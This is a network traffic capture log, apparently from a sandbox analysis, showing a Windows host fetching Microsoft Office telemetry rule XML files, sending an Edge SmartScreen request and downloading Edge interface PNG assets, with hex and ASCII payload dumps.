2024-11-09 21:09:43 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:43 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 392771d5-701e-000d-1cd2-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210943Z-16547b76f7fr4g8xhC1DFW9cqc0000000ayg000000001rt4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:43 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:43 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 395a5295-401e-0048-0381-320409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210943Z-15869dbbcc6lq2lzhC1DFWym6c00000006vg00000000d2mk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:43 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210944Z-16547b76f7fcrtpchC1DFW52e80000000btg000000002v1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:44 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 12076dc0-c01e-000b-5108-32e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210944Z-15869dbbcc6bdtw9hC1DFW9m4s00000003p000000000hx4c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49863	4.152.133.8	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiMVhrbjdoeGxZTzZ5YzdJWHZOcVI5UT09IiwgImhhc2giOiIrYlBYaDBnSzNtUT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-09 21:09:44 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-09 21:09:44 UTC	248	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-09 21:09:44 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 72e3f643-801e-007b-5dd2-2ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210944Z-16547b76f7ftdm8dhC1DFWs13g0000000bs0000000000xrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:44 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1ec43ba4-f01e-0003-65d2-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210944Z-16547b76f7fcjqqhhC1DFWrrrc0000000bp000000000aysc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:44 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210944Z-16547b76f7f7lhvnhC1DFWa2k00000000bhg00000000f4ax x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49869	13.107.246.57	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:44 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 6a8e19b3-801e-0039-4da3-2c28a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210944Z-16547b76f7fp46ndhC1DFW66zg0000000bqg00000000edea Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49866	13.107.246.57	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:44 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 7552d3c1-901e-0069-3dcc-3237ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210944Z-17df447cdb5vq4m4hC1DFWrbp800000007w000000000dyvt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49870	13.107.246.57	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:44 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-09 21:09:44 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:44 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 99894c1c-001e-0045-1fc3-31b596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241109T210944Z-17df447cdb59mt7dhC1DFWqpg400000007x000000000gyzv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:44 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49867	13.107.246.57	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
